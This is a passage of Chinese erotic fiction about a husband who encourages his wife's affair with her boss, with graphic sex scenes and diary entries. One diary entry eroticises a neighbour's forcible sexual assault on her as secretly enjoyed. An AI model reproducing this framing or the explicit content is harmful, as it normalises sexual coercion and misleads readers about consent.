图片载入中

《今夜谁人陪你入睡3、4、5》

特大字】 【大字】 【中字】 【小字

3)新人与旧人

“小梅,我是贾月影。”

“真的是你!你们在干什么?!”电话那头的声音非常缓慢,我从来没听到过小梅这样的语气,充满了绝望与悲愤。

“……好妹妹,我们什么也没做,我看见他这么晚了还没吃饭,就让他到我这儿吃点,就赖你老公多事,怕你多心,才撒了个谎。”

“不对!他的语气,还有你的反应,都不正常!你早就看上许放了,你说过你要把他弄到手,你们,你们在骗我!!”

小梅突然爆发,电话那头的语调变得歇斯底里。

“……我喜欢许放,那只是说笑啊,……再说,我老公三分钟前刚出去,你说我们能干些什么?”

“什么,你老公……?”

“我让他给你回个电话吧。不是我说你,你啊,太多心了。”

接下来的事就好办多了。贺国才听小贾把事情说完之后,马上给小梅打了个电话。

一会儿他又给我们回了个电话,告诉我,事情不仅得到了完美的解决,而且小梅还在电话里一再地向他陪不是,并且答应回来后请他们俩口子一顿饭,以消除这次事件给小贾带来的不愉快。

电话里他还欢快地说道:“我和她说,小梅你就是看不起我们,我和小贾把你和许放当成亲弟妹,你呢,张口闭口的贺国才,我比你大七岁啊,你说,你是不是得改个口?然后小梅真的叫了我声贺哥。小许啊,我可和你说了,我那漂漂亮亮的老婆现在就躺在你怀里,你当初可答应了,要把小梅给我玩玩,说话可得算话啊!”

“当然……当然,只要她答应,你可不许用强啊!”

“我用什么方法你就别管了,反正我保证能把她收拾的老老实实、服服帖帖的,唉,想着就爽,外面的鸡玩着都没感觉了,就想玩玩象小梅这样的带着金边眼镜的良家妇女、知识女性,爽!今晚上我不回家了,你就好好地替我疼疼我那可人的小老婆吧。哦,对了,我和小贾明天就要到外地,两个星期后我们回来,趁这段时间你也好好疼疼小梅,回来后我可就不客气了。”

我看着小贾,微笑地点头答应,小贾好象也听到了,鄙夷地啐了一口,红着脸一扭腰去了卧室。

三天之后,小梅回来了。当天晚上,我勉强地交完“家庭作业”,小梅有些不满意,也不好说什么,一面摸着我的乳头,一面说着,“下次的作业,可不能这样应付了事,才十分钟不到,唉,我在外面还为你守身如玉的,……”下面的话她也不好意思说了。

我问她:“我早就说了,只要他身体健康,品行端正,你能看得上眼,你就可以自已做主的,你后悔了?还是那个港商,长得大腹便便,你看不上?”

“是个阳光先生呢,比你长得帅,……去你的,不和你说了。”小梅扭过脸去,用一直练钢琴的细长的手指弹枕巾,好象在弹一首协奏曲,弹得很用心。

“那个港商,摸你什么地方了,让你一拳打得鼻子出血?”

“摸我的小屁屁,又摸我的小匝匝了。”小梅说完后,扑地乐出声来。

“谢名替你出了口气了,你现在和他的关系怎么样?”

“还行吧。”

“你……你还拥抱他了?”我压抑住胸中的酸气,继续挑逗她。

“第二天,我无意中碰了碰他的手,结果吓得他连忙躲开,好象是我要调戏他一样,傻冒,他以为自己是英雄救美啊,哼,算老几。”

“这起事件,你们公司是什么意见?你会不会受什么影响啊?”

“谢名还算有点良心吧,没利用这件事把我往死里整,还帮我说了些好话,这个人,哼哼,亦正亦邪,猜不透他为什么没有乘机踩死我,反而来讨好于本姑娘?”

“小梅,说心里话,我觉得你和他的矛盾,主要原因在于你,你啊,对他有些偏见。再加上你能力太强,有些瞧不起他,是不是?”

“其实呢,我自己内心里也检讨过,搞得这么僵没意思……唉,不说了,旧的一页已经掀过,我以后不会再找他的碴了。”

“其实我觉得他好象挺喜欢你的。”我斜觑着小梅,看她的反应。

“你是说他在暗恋我?怎么会?!我们这个圈里的人,聪明人难找,俊男靓女可是大把抓,我的姿色,中平而已,他会……?!嗯,不过也不能排除这种可能,”小梅半迷着双眼,眨巴着细长的睫毛,嘟着红红的嘴唇,自问道,“我是性感小猫吗?……不是喽,我只是孩子他妈。”说完她有些意兴阑姗。

我拉着她的双手,把声音压得很低,对她道:“其实你还是很美的。我和他聊过,他当着我的面亲口和我说他挺欣赏你的。他长得不错,人也很老实,还没结婚,你去勾引勾引他吧!”

说到最后,我的声音微微地发起抖来。

“你是说真的?还是在戏弄小奴家我?”她作戏般地给了我一小粉拳。

“其实我的直觉早就知道,你不是恨他别的,你是恨他不怎么把你当回事,没有宠着你爱着你,你潜意识里,是喜欢他的!”

“别胡说了……”小梅变了颜色,好象真的被我猜中了她心中的秘密。

“怎么样?别害怕,你就是性感小猫,偷嘴是性感小猫天生的权利,去偷一回吧!那天晚上你打电话,说你跟他拥抱了一下,我心里不仅没有难受,反而特别高兴,象我这样美丽高雅的小娇妻,确实应该得到多个男人的爱,特别是象谢名这样年纪轻轻就身居一流音乐公司高职的优秀男人的爱。我只问你一句,如果你爱上谢名,你还会继续爱你老公吗?”

“当然,”她眼波闪烁着,依然不能很肯定我是在说着玩的,还是来真的,“你你你,你要是想套套我,我这回就算上了一次恶当,”她顿了顿,低下头,“和你说实话吧,他已经向我表白过,他喜欢我。”

“你呢?你讨厌他吗?”

“我呢,我也不是很讨厌他的。”

说完这句话后,她扑到我怀里,紧紧地搂着我,把头贴到我的胸口,“我和你说了实话,你,你是不是开始讨厌我了?”

六年多的忠诚,在此刻,就要瓦解成灰,用尽人类所有的语言,也难也描述我的心情:好象是冰冷的海水,如烈焰般在唿唿燃烧着!我突然明白了换妻行为的引人入胜之处,就好象一个名作家对悲剧的解释:把人世间最珍贵的东西,毁给人看。但也不能把它视作纯粹的悲剧。因为你把这种东西毁掉的目的,就是想让它在他人手里再生,并且美得更加炫目,只不过已经打上了别人的烙印。

“没有,只是想想将来可能发生的事,心跳得很厉害。”我实话实说。

小梅再也没有说什么,只是一遍遍地抚摸着自己性感的小脚,眼睫低垂着,好象是犯了大错的小女生。

“你再想想,你能忍受我爱上他吗?”

“爱上他??”

“对,爱上他,会经常地想他,和他分开会难受,和他相聚会快乐,会和他褒电话,会经常地祝福他。”

“象恋爱中的女孩子一样?”

“对,而且和他甜蜜地过生日,与他外出旅行,这些,你,都能接受吗?”

“……这只是一次性的游戏,可以不谈这么多的感情吗?”

“不可以这样看的,感情会发展的,会变化的,你不能把换妻当成调剂性生活的一种手段,女人也是人,也许一开始只是一个性交伙伴,时间长了,真的不好说了,尤其是我这种人,是把性和爱看成一体的,你能把握住我的心不会变野吗?”

对于这个问题,我这两天已经想了很多遍,所以我很快地回答:“我绝对不会失去你的。这一点你放心,第一,我们有孩子,第二,我和你是六年的夫妻,第三,你们俩都是太要强太好胜的人,你们两人如果走到一起,不出半月就要散伙。”

小梅非常地激动,胸口起伏不定,低头不言不语,但看得出她正在进行激烈的思想斗争。

“他是哪天、怎么向你表白的?”

“四天前,他说,他爱我,想拥有我。”

“你怎么回绝他的?”

“我说,你有病吧。”

我拿出她的电话,找到谢名的号码,写了一条短信,让小梅看了看,小梅只是含羞带笑,偎在我怀里,什么也没说,我就发走了。

短信的内容是:“我有些孤独,想起四天前你说的话,心里很温暖,但是我们不可能的。”

“你是希望我慢慢地勾他,然后再把自己献给他,是吗?”

“看看他怎么回信吧。”

过了几分钟,谢名便回了一封信:“现在方便吗?我想和你聊几句。”

看到我点头同意,她便回了个OK。

电话响了。

小梅犹豫了一下,问我能不能我回避一下。

我出去了。小贱人。

半小时后,他们才结束通话。

“怎么样?”

“我骗他说,我老公另有新欢了,我很恨他,还有,我回思过去,自己有些意气用事,希望以后能当好他的好下属。还有,我说……香港客户那件事,我很感谢他保护我,他说,他希望能保护我一辈子。我就说,缘分天定,我,我,我会给他一次机会的。嗯,老公,丢死人了!”小梅满面通红,纵体入怀,与我缠绵起来。

我很快地把小梅扒光,把她丢上床,扑到她赤祼洁白的娇胴上,动作起来。

小梅一面呻吟着,一面说:“使劲干我吧,过两天,这个身子就要奉献给别人了。哦,哦,好好地干我,希望你不要输给他!”

“你准备怎么勾引他呢?坦白交待!”

“不知道,真的不知道。”

“他要吻你呢?”

“我……我就让他吻吧。”

“他要摸你呢?”

“我也随他摸。”

“小浪货,他要动你,你也由着他?”

“都随他。动我,我就……配合他,把自己完全地交给他。嗯……”

在中场休息时,小梅突然说了句:老公你真的太了解我了,连我自己都不明白的心事,你竟替我看透了,谢谢你。

我问她什么事,小梅笑着说:“透露一个秘密,我刚才做爱时,想着在上面的人是谢名,一下子,一下子,便到了!”

一句话,便刺激得我再震雄风,翻身提枪上马再战。

后来的两场,我就扮演谢名,场景分别是他家里和在办公室。

那一晚上的做爱,非同寻常,连蜜月时我们也没有这样地激动地狂欢过。

事后,小梅躺在我怀里,问我:“老公,刚才你听到我叫他的名字,你心里是什么滋味?”

“想想马上就要成为现实,特别地激动,不过,……也有些难受。”

小梅沈吟了一会儿,再次握着我的手,擡起身关注地看着我,“你真的能够忍受?如果你后悔了,我现在还可以收住,以后,我怕,我就收不住了。”

我坚决地点点头。

点上一根烟,不知心里是喜是悲,只是想,一个小说家,能够亲自体味到自己小说中人物的喜怒悲伤,是幸运还是大不幸呢?

第二天早上,小梅上班前,我拍拍她的小屁股:“小红杏,今天就开始出墙吧。”

小梅眼含春色地瞟了我一眼,点点头走了。我突然意识到原来小梅的腰肢又细又长,穿了高跟鞋的她,看上去象春风细柳,摇摆生姿。心里很痛,脑子却很亢奋,不知自己的妻子和别的男人调情是什么样的情景。她会向谢名抛媚眼吗?

谢名今天肯定要和她独处,她会羞答答地同意与他约会吗?约会会安排在今天晚上吗?她要是问我是否同意,我肯定也会同意的。她会和谢名亲吻吗?亲吻时她的舌头也会伸到谢名的嘴里,搅来搅去吗?她会爱上谢名吗?我会彻底地失去她吗?

一连五天,小梅竟都按时回家,见到我时,表情也一如既往。

“Nothinghappens。”她淡淡地道,至于和谢名的关系,我怎么问,她也不愿多说。

第六天晚上,我回家时,小梅一身装扮,正要出门。

“你?你要干什么?你和他有约会吗?”我的心突然一紧。

“不是,我高中的同学小燕要我帮她选结婚礼服。”

我一时失控,激动地抱着小梅亲了起来,“梅,我真怕,我会失去你。”

小梅笑意盈盈地任我抱着,过了一会儿分开我的手,低下头,半响说道:“还是和你说实话吧,我已经和他约好,晚上去他家吃晚餐了。”

我如堕冰窖:“不,我不同意,今天晚上我还要、还要和你商量些事呢。”

小梅双手捧着我的脸,温柔地看着我:“小许,不要再折腾我了,这次我答应不去,下次你又会鼓动我,我再被你鼓动起来,你又再来这一套。再说,这个老婆你已经用了六年了,给人家……用一次两次的,少不了你一块肉,又给我们的生活添了一些情趣,不也是很有意思吗?象前天的做爱,那可是你历史上最佳的表现。”

“那你向我发誓,不会离开我。”

小梅格格地笑着,绕着我转了两圈:“你比他帅?NO。你比他能挣钱?NO。你比他更能逗我开心?NO。你比他…没法比哟!我的小老公,怎么办?”

我哀哀地看着她,没想到小梅开玩笑也开得如此绝情。

“老公,我也不知是怎么一回事,一开始,我只是想,这只是我与你之间的一场游戏,他只是一个道具。没想到,连着和他调了几天的情,就是今天,我发现,我已经真的已经爱上他了,今天晚上,我不一定会把身子献给他,可那也是早晚的事。”

我浑身颤抖,看着春心荡漾的小梅,不知道如何是好,威胁她,还是想哀求她?到底怎么办!!

小梅看着我的可怜相,复又叹了一口气,掏出手帕来给我擦拭眼泪,一面温柔地说道:“你在我的心里,几乎占据着我的全部,你,和孩子,都于我来说,真的非常重要,非常重要。你永远是我的老公,这一点,你不要担心。我,我和他,只是,只是……象运动着的两声磁铁,现在可能极性相反,相互吸引到一起了,也许到明天,我们调过头来,极性一致,又会相互排斥,相互蹭恶,分得越远才越好呢!”

然后她咬着我的耳朵说:“我不会象你小说中的灵儿,半夜给你打电话,这么刺激你,你肯定会休了我,和我这个小淫妇离婚的。明天,也许是后天,也许是下周,我会回来,向你汇报我是怎么被他弄的。想想吧,我光着身子,被他吻得遍体酥麻,爱水直流,他的大鸡巴上沾满我的爱水,油光蹭亮,一次一次地插到你小爱妻的小淫穴里,塞得里面无比充实,他的手,反复地挑逗你视若珍宝、被平予摸过一次你就气得发疯的小爱妻的乳头,把我搞得连声求饶,……你硬了吧!是不是很刺激?”她摸着我的下体,同样面色绯红地问着我。

我翘着鸡巴,不由自主地点点头。临出门时,小梅看我依然有些难受,好象一时冲动,从手包里摸出一只小钥匙,扔给了我:“在书桌的第二个抽屉,里面是我的日记,你只能看十月份以后的内容,答应我!多看一眼,就要遭雷噼!”

小梅走了以后,我没有遵守对她的承诺,连几年前的日记,到最近这几天的几篇,都走马观花地看了不少。

令我非常感动的是,她的日记里,充满了对我的爱,对孩子的爱,对这个家的珍惜。她不厌其烦地在每一篇都要写上爱老公的话,我对她做的每一件小事,她都要上升到爱情的高度,对我大加赞扬。

在翻页的过程中,我竟很意外地看到有两篇中出现了不少贺国才的名字,看完之后,我大吃一惊。

X月X日贺国才这个流氓,他竟然借着送给我老公提成的机会,污辱了我!

今天我正好倒休,下午四点多,我刚洗完澡,贺国才来敲门,说是给我们发提成了,我挺高兴的,这个月老公的提成好象又加了码,到了五千多了,我说有空来喝茶,他竟无耻地说今天就有空,我原想是对门,他再流氓,还能跑到我家里非礼我,便给他冲了茶,我刚落座,没想到他就无耻地坐到我身边,眼光到处乱瞟。

我头发还没吹干,身上只穿了件睡衣,开门的时候我虽然把胸口的扣子系上了,但是里面没穿乳罩呀!下身更不妥了,开口一直到大腿(这件衣服要扔掉,不能忘了!!),我只好含着胸,一只手按着下身的开口处,夹着腿,不让他起什么歹意。毕竟他是来发钱的,我真不好和他翻脸。

喝了两口,他就说和贾月影结婚多年,怎么怎么没劲了,她木美人一个,也没什么修养和学问(我的天,有修养的女人会跟他吗!)说我是搞音乐的,怎么怎么有气质,然后竟要看看我的手,说要研究研究弹钢琴的手和常人是怎么不一样。

我先是不给他看,他竟说不给他看他就不走了,我真怕万一许放回来了会和他急,那种人我们可得罪不起,只好伸出右手给他看,他拉着我的右手就亲了一口,我恼了,左手给了他一巴掌,没想到,左手也被他抓紧了,然后他用胳膊压着我的身体,一只手便伸到我的下身,又摸又揉,我……我从来没遇到过这种情况,平予当时也没有这样的流氓啊,我傻了,叫了几声,就让他摸到我的小洞洞里了。

我在此发誓,下辈子再也不做女人了,女人为什么会那么容易地屈服于肉体的感觉啊!他只摸了我几分钟,我就完全地软了,脑子里一片空白,只有一波一波的快感,把我完全征服,我记得后来他亲我时,我还无耻地把舌头给他,让他品味!好丢人!等到我终于有了点意识,才发现睡衣已经被他脱下,全身象小白羊一样,光熘熘的。

我一看到他掏出他的臭鸡巴,天,几乎要比许放的大一倍,我吓了一大跳,哇地大叫起来,声音之大,整个楼想必都听见了,吓得他落荒而逃。我也没有张扬出去,贺国才对老公来说,确实太重要了。不但是钱那一方面,老公的公司对老公的能力不认可,而贺经常夸老公,老公的自尊心得到了很大的满足呀!

和自己说句悄悄话。这个人太流氓了,他似乎完全知道我的敏感部位在什么地方,要是被他玩,可能真的会爽死。

X月X日今天贾月影这个女流氓,和他老公一样,把搞得我七荤八素,不知所措,她和我洗澡(以后再也不要和老公之外的任何人洗澡了),她的手指一下子捏着我的小乳头,又拉又扯又划圈,我当时就软了,回敬了她,把她也整得够呛。

后来,我真的控制不住自己了,和她上了床,做了些流氓事。因为贺国才猥亵我的那档子事,我竟突发奇想,让她拿着根淫具,来搞我,我一想到是贺国才的大鸡巴,浑身上下都没一点劲,心想,整死我最好,贺国才,用你的大鸡巴,整死我这个小贱货,我想被你操得欲仙欲死,那次真是舒服啊,和自己说句悄悄话:许放可能一辈子也没法子让我到那种境界,爽了这一次,这辈子值了。

我看得直了眼,一没想到贺国才曾经干过这种事,二没想到小梅骨子里竟如此之骚。

在日记里她对我的牢骚分成了三类吧,第一类就是家务事不用心,都是她操持,这些小事她自己好象也不当回事。第二类就是我不懂情趣,不解风流,生了孩子之后,生活已经变得索然无味。第三类就是对性生活中我交作业不积极、态度有些应付、时间有些缩水、很少让她到达高潮有关。没想到小梅对这些事,其实是很在意的(尤其是时间缩水的作业,虽然她回回都安慰我,短小精悍也是一种文风,但是看来她没讲出心里话)。

至于最近这几天和谢名的交往,她在日记里流露出来的感情,我初看时,看得心中酸意大泛,再看时心里又有很多欣慰。

比如:X月X日一女能爱两个郎吗?我发现真的好难。我第一次和他接吻,我被他吻得心旷神怡,心想,是不是我当初的选择是错误的,谢才是我的真命天子啊!我好喜欢他,喜欢他常用的那种香水(奇怪原来我恨他的一大理由也是他用这种香水),喜欢他说话时的鼻音,喜欢他的南方腔调,喜欢他搂着我时,有意无意地用手摸一下我的乳房。

我真想早点和他结合,我会让他射进去(哪怕是怀上他的孩子),这几天,老公也常激情四射地和我做爱,但我心里老是想着,身上的人如果是谢,该多么幸福啊!老公,我好对不起你。

可是,一回家,看着老公,我心里面有种沉重的罪恶感。

毕竟生活了那么多年,让我背叛他,绝对不可以。哪怕我牺牲这个爱情。我和谢是爱情吗?或只是偷情的快感?谢身边有些小姑娘,他仿佛更对已婚少妇感兴趣,比如赵蕾,我看她好象和他有一腿。

X月X日我愈发觉得老公可爱了,他是有那方面的奇怪需求,希望看到我被别的男人干,他又根本舍不得我真的与谢做,看他的眼神就知道了。其实,他根本不用担心,我怎么会和谢生活,而舍弃他呢?谢不会给我安全感,这点对于女人来说,很重要的。

和这个爱戴绿帽子的男人生活,我既可以体会到婚外性生活的刺激,也有安全婚姻的保证,两者得兼,我怎么会离开他呢?再说了,我们从始至终也是相爱的,他对我那么忠诚,贾月影那样的妖精他都不敢多看两眼(呵呵,傻老公,她那么美,多看两眼,我也会同意的。要么干她一次吧,捞回上次我被贺国才侮辱所吃的亏!)

和自己的悄悄话:和对门来次换夫?主意不错。让他们相互偷食,还以为自己理亏,实际上得便宜的还是我们女人啊,呵呵!

X月X日明天,我就要给他了。我知道,将来,我肯定要后悔这件事的。可是,我真的管不了自己了。下午,我们几个人开会,他用脚碰我的脚,我看着他,恨不得吃下这个男人。他让人爱,也让人恨,他太贪了。

他竟然亲口和我说,他以前还与朱姨做过,她可比他大十岁啊。原来,他就是喜欢抢人家老婆,有一种成就感。可是,和他发展到这一步,我好象是吃了迷幻药,就是想被他玩,想着将来他抛弃我我也认了。他太迷人了,男人女人都以为他是好人,实际上他就是一个百分百的坏人、幼儿园阿姨告诉我们要特别警惕的大尾巴狼。

明天,我就要住到他家里,我准备让他享用我一周,一周之内,随意掠取我身上的美味,而且,不戴安全套,直接地射到我的子宫里。我要让他的大肉棒在我里面进出一千次,这一周,我没有老公,没有孩子,也没有我,只有他,而后我将要先抛弃他,离开他,回到我老公的身边。不能让他赢了我。

老公,原谅我出一次格吧,让我疯狂地出一次格,我会报答你一辈子的。

我还想再细看,没想到小梅只出门一个小时就回家了。我一听到小梅开防盗门的声音,马上就把日记放回原处,并锁好抽屉。小梅回家后,第一件事就是要回她的钥匙,并问我,我看了她的日记没有,看到哪一天?我告诉她,我相信她不会离开我,所以恪守自己的道德准则,一页也没有看。

小梅抱着我的头,喃喃地说道:“突然怕你觉得我是个坏女人,怕你看完我的日记后,不理解我,不要我了,连忙赶了回来,要不然,”小梅咬着嘴唇,羞意大盛,“现在他的鸡巴已经开始往我的小洞里发射炮弹了,把我美得直翻白眼了。来吧,老实人自有好报,现在你来操炮”

(5)日记与“记”“日”

当天晚上外面是雷鸣电闪、风雨交加,屋内我和梅雪也是激情澎湃、翻云覆雨,做完爱后小梅依在我怀里,对我说:“告诉你实话吧,我已经上了他的床,那个家伙已经脱光了我的衣服,可是我,我忽然间觉得,我再走下去,会失去这个家,失去你,真的,那一刻我想着你的好,差点掉下眼泪。”

“老公,我不知道你有没有看我的日记,其实,我内心里很希望你看了。长久以来,我一直没有对你完全地敞开我的心扉。你知道吗?今天晚上,我一方面想把自己的身子交给外面的男人,一方面也想把自己的心灵完全地交给你。我的身子蠕动在别的男人的胯下,肉体上获得了一些暂时的快乐,可是我的心,却同时与你的心在自由的彼岸快乐地飞翔着,相互拥有相互融合……”

我看着小梅纯洁的眼睛,心里深深地感动了,这个女人,我的小娇妻,我的野蛮小妖精,她的身体何曾真正地、完全地属于过我呢?

从人的自然属性上讲,人的身体只属于他本人,也许你与某男或某女一夜风流,或结发百年,你可以在某一时间支配他或她的动作,控制或影响她的心灵,但是,你以为你拥有什么,其实除了自己,你何曾真正地拥有过什么人?你能长久地拥有她吗?你能百分之百地既拥有她的心灵、又占有她的肉体吗?你一旦获得了这种权力,那么那种占有的快乐又能持续多久呢?

而我的妻子对我,却寄与了无限的信任和爱,她愿意把自己内心深处的一切都向我诚实坦露,有妻如此,人生又有何憾呢?对,爱她,就要让她快乐!

那一夜,我们一直搂着,亲着,恨不得把自己的心掏给对方。

我向她承认,我看了她的日记,而且很多重要的事件我都多少了解了大概。

包括她被贺国才非礼,包括她与小贾的乱情,包括她爱上了谢名,她内心深处的最原始欲望,她情欲与道德中间的煎熬……

我问她:“你真的想完全地把身子交给贺国才玩弄一回吗?”

她羞得把头藏到我怀里,没有明确地反对。

我吱吱唔唔地说道:“我要向你坦白一件事情,就是上次,你怀疑我和贾月影之间,发生了关系,你其实猜对了。”

小梅突然笑了起来:“……老公,你别骗我了,你和她,就三分钟,你能做些什么?…哦,我猜你是不是不希望我有太多的负罪感!谢谢你,亲亲好老公!你和我说实话,你喜欢贾月影吗?”

“喜欢她?哦,不好说,……就象你看见天上一轮明月,美景美色,人是爱美的动物,当然会喜欢了,不过,也就是喜欢,谈不上别的什么。”

不料小梅狠狠地掐了我一把:“她是天上的明月?那我是什么?”

“你,你是天上的太阳,我心中的女神,我的天堂!”

然后我反问她:“你爱我,也爱谢名,那你对我的爱象什么,对他的爱又是什么?”

她虽然听出我的语气中的酸气,还是和我实话实说:“你对我,就象天上的月亮,他呢,则是天空中偶而闪过的一颗流星,确实是吸引了我,我会对流星短暂的出现和迅即的消失着迷,我甚至还会向着流星许个愿,但,那将是一个极短的梦,一个错觉而已。我在日记里说了一些不适合的话,这些话可能会伤害你,其实,你很快就会发现,我的心灵里,早就容不下别人了,你和孩子,已经我的心占满了!”

我与她长久相望,就象琼瑶阿姨书中情景一样,我当时真的好感动好感动。

她严肃的眼睛里突然闪过一丝调皮的笑意,然后张嘴来了句:“好了,夫妻恳谈会到此结束,下面,你是不是老实交待,你对贾月影到底有没有感觉?我是说,你有没有想过,和她一起做那个?”

“……做,做哪个?”

“嘿,你说做哪个?!你是不是真的和她有事儿?我怎么觉得你有点心虚啊?”

“没有没有,就是有点那什么,有点觉得她、她和你不太一样。”我的头上开始冒出汗来。

“废话。哟,你,你是不是有点不好意思承认啊?你,真的喜欢她,是不是?”小梅的声音又轻又柔,眼睛象一弯细月一样,那副笑模样看起来又妩媚又端庄。我更害怕她一旦知道真相会和我翻脸,咬咬牙,索性死硬到底。

“我确实不太喜欢她那种类型的美,怎么说呢?太大气、大正了点,没有特色,想来想去,我还是喜欢象你这样的,小家碧玉、小巧玲珑。”

小梅很激动,死劲把我搂到怀里,嘴里喃喃地说着:“我知道我知道,世界上就只有我适合你,只有我才是你的唯一。要是我死了,我把你留给谁才能放心啊!”然后,一滴晶莹的泪珠,溅落到我的脸上,“其实,我也知道,你说这话是在骗我,哄我,我都这么逗你了,你还能抻着,这说明你非常在意我的。这次你听好了,我同意,你和贾月影疯一把。但是,只能疯一把。听见了没有?!”

我不由自主地点点头,小梅双手捧着我的脸,眸子亮得灼人:“听着,你要是和那个贾月影亲近,绝对不可以吻她,这是我最在意的。你知道吗?”

我点点头,小梅却好象越说越生气:“还有,你不能让她摸你,那个女人的手最不正经了,还有,你也不可以摸她那里,那儿很脏的!还有,时间上也不要过长的,姿式呢,最好是……”

说着说着她也笑了,“不说了,我这儿,有点泛酸。”她点点自己的胸口,“想想自己还要到人家里去,给人当小老婆,床上床下地为他服务,却要求自己的老公这个也不行那个也不能的,不好。”

“你为什么不告诉我,你最介意的是我和他做什么?我好注意一下。”她用两手蒙着眼睛,开始拷问我的承受能力了。

“我不介意你在床上为他服务,但是在床下,我看你就没必要侍候他了吧?那是老婆才干的事。你去他那里,主要不就是为了那个吗?我不太喜欢。”

小梅郑重其事地点了点头,“我可以和你交流交流我的感觉吗?我是说,打电话,可能表达不出来,我们经常地通过QQ联系联系,好不好?”

“不如这样,你每天在他那里用电脑写日记,然后发给我,……”

“对,这样最好!”

第二天一早,我还没起床,小梅就简单地收拾了一下,离开了家。

当天夜里,我什么事也干不了,几分钟就上网查查信,说实在的,有一度,我跑到厕所,看镜子里的自己,竟然象是在看一个陌生人。到了十二点,还是没有来信,我竟然抽抽噎噎地哭了起来。完全不象在写作时的感觉,哪里还有心思打手枪玩?硬都硬不起来了。

第二天上午,我终于忍不住了,给小梅打了个电话。

电话那头的声音,依然那样地动听、平静,仿佛昨夜什么事情也没有发生。

“老公,想你。”

“我好想你。你,你昨晚上没写日记吗?”

“……写了,本想发给你,但是,真的不好意思,后来没有发给你。你真的要看吗?”

“要看。以后每天晚上,都要把日记发给我,听见没有?”我听到电话那头的声音温婉依旧,心头火起。

“好好好。晚上我给你发过去。”

************小梅的日记:

某月某日一大早就离开家,怕看见老公,又舍不得。

上午也没有心思上班,和他请了个假,并告诉他我晚上去他那里,然后就在大街上到处熘达。

直到下午,我才去上班。看见他,我笑笑,然后低下头。

心里却象小鹿乱撞。芳心一片,问君知否?

老公,这是我第二次为一个男人动春心,时隔五年,晚上就要和另一个男人同床共眠,心里好乱,看镜里香腮绯红,摸胸口旖念丛生。晚上,我怎么面对他?!是我先脱,还是让他把我脱光?!嗐,不想了,反正早晚要成为他的盘中大餐,顺其自然吧。

下午大家都走了,然后我上了他的车,到了车上,我一路无语,只听他说。

他倒是无所谓的样子,太能装了,这个人,晚上就要看到他的色狼真面目,成为他的玩物了!

进门后,我真有些手足无措。想起上次的经验,不如不理他,自己看电视,和他说笑一会儿。吃完饭后我开始洗碗(对不起老公了,头天晚上就犯了戒,帮他做家务了),好象真成了他谢名的小妻子,心头一阵颤抖。是幸福的感觉吗?有点像。

然后应他要求,换了那件上午新买的衣服。呵,露出真相了,我让他出去,他就是不出去,我只好扭过身子去换。那可是一件上下身连体的套装啊,结果,我衣服没换成,反而被他扒得只剩下短裤和上面的小背心,我笑着在卧室里躲,还是被他给抓住了。

我再也没有一点反抗,任他把我抱上了大床。老公,这次,你媳妇想跑也跑不掉了。他问我要不要戴套,我说不用了,我已经吃了药了。

等他亲到我的小腹那里,我突然间,笑了起来,怎么也控制不住,他后来接着摸我亲我,我再也笑不出来了,扭着大腿,慢慢地分开,让他继续亲。

我的傻老公,你妻子这儿才是最甜的呢,让你亲你不亲,结果,又便宜外人了。

等我扭得没了力气,他才不慌不忙地脱下裤头,搂住我,又是一通乱摸,摸得我直叫亲老公,亲哥哥,然后他和我面对面,让我坐到他怀里,慢慢地把他的大鸡巴插到我的小洞洞里,并示意我看着整个的过程:那根阳具,又粗又壮,下面两坨子蛋蛋里,想到一会儿藏在里面的精液东西就要尽情地发射到我的体内,我的淫水又流了一些。

从那个大龟头没入我的小洞开始,到最后整个齐根而没,深深地插到我只为你一人开放过的纯洁的小肉穴,我就这样失去了对你的贞洁,而成为他的女人。

老公,你知道吗?看到那种情景,任是什么女人也都软了。

一直捅到最深的地方,他还问我,“你能感觉到到头了吗?”我点点头。吻着他。由他摸着我的乳房,摸着我光滑的后背。

第一次的挺动,是我主动开始的。我将小屁股往后一挪,他的大鸡巴带着我的浪水,挤开我红红的阴唇,只剩下龟头还在里面,然后我再使劲抱住他,往前一挺,又这样与他开始肉搏起来。

之后的事情我真的记不太清了,一遍又一遍地,被他插到我那里泛起白沫,我勾着他的头,在他耳边说:“你好勇猛啊!你吃了我吧。”我感觉自己就象一块任人宰割的小白羊,在脖子被割断前,还在亲人类的手,希望人类下手重些。

某月某日脑子里还记着清晨起来的情景,原以为枕边的人是你,还拍拍他的胸,才意识到自己裸着身子,脸上发起烧来。看看自己的衣服都在床下,想悄悄下地,结果被他发现,反搂住我,一把把我拉回他的怀里。

我忙不叠的告诉他,现在可不行,药还没吃呢。他却已经等不及了,结果我也只好以身犯险了。原来早上和你也做过,你还不愿吻我,说嘴里有味,你看,这个谢名,可真是性爱至上主义者,他吻得我好激情啊!我还他以柔情,将身子一次次地交给了他。他一边做爱,一边给公司打电话,说我们早上一起出差了,这样,我们又大战了一上午。

他换了几种姿式,我有些害羞,一时放不开,他说,这几天要好好调教调教我。老公,回家后,我也要传授给你。所以,我要专心地学,用心地学。到时候你可不要介意别人就是用同一种姿式干的你老婆啊!

有一种姿式,我好喜欢,侧交式,当时我就很投入。他等我到了高潮,还在持续不断地干我,鸡巴在肉洞的一处壁上,小鸟一样一点一点,当里面特别需要时,他又会擡高我的大腿,往里猛一捅,就这样干得我高潮一波接着一波,象是涨潮一样,裹挟着我,把我席卷而去。老公,那一刻,我真的好想让你分享我的狂喜和愉悦——如果你能承受得了的话。

下午我们累得不行,睡了一觉,直到晚上,出去吃了饭,回来的路上,他问我,还行不行?我笑了,说,行了,少帅你天下无敌,本姑娘挂免战牌了。

贾月影还没有回来?明天,我要回趟家,取些抹脸油来。你不要在家啊!我会害羞的,真的会害羞的!(跺脚,撒娇,抹眼泪,一副可怜相)求你,晚上七点至七点半,一定不要在家!

************第二天晚上,我把家里的灯都熄了,等着小梅回家。

七点钟,她准时回来了。

我藏在贮物间,看到她弯腰低身找东西,圆滚滚的小屁股,今天看上去格外地性感。上身穿着一件半开的小衬衫,里面是一件短短的小背心,少妇的发髫高高地盘起,细长的脖颈、皮肤姣白似玉。下身穿一件紧紧的黑色细绵裤,这件裤子我可从来没见过,想到可能是谢名给她买的,我心中欲火大炽。脚下还是那双出门时穿的半高皮凉鞋,只是里面那双娇俏的小脚,已经被人摸过亲过了。

再没有犹豫,我悄悄地走到她身后,抱住了她。

小梅好象已经意识到后面有声音,并猜出了是我,没有任何的言语。

半响,小梅转过脸,因为有些紧张不安,五官显得很僵硬。

“老公,……想我了吗?”

“当然想你,不过,你想我吗?”

黑暗中,看不出小梅的脸是不是红了起来,听她的声音,知道她有些难堪。

“想啊!其实,我每时每刻都在想你。”

“除了做爱到高潮的时候,是不是?”

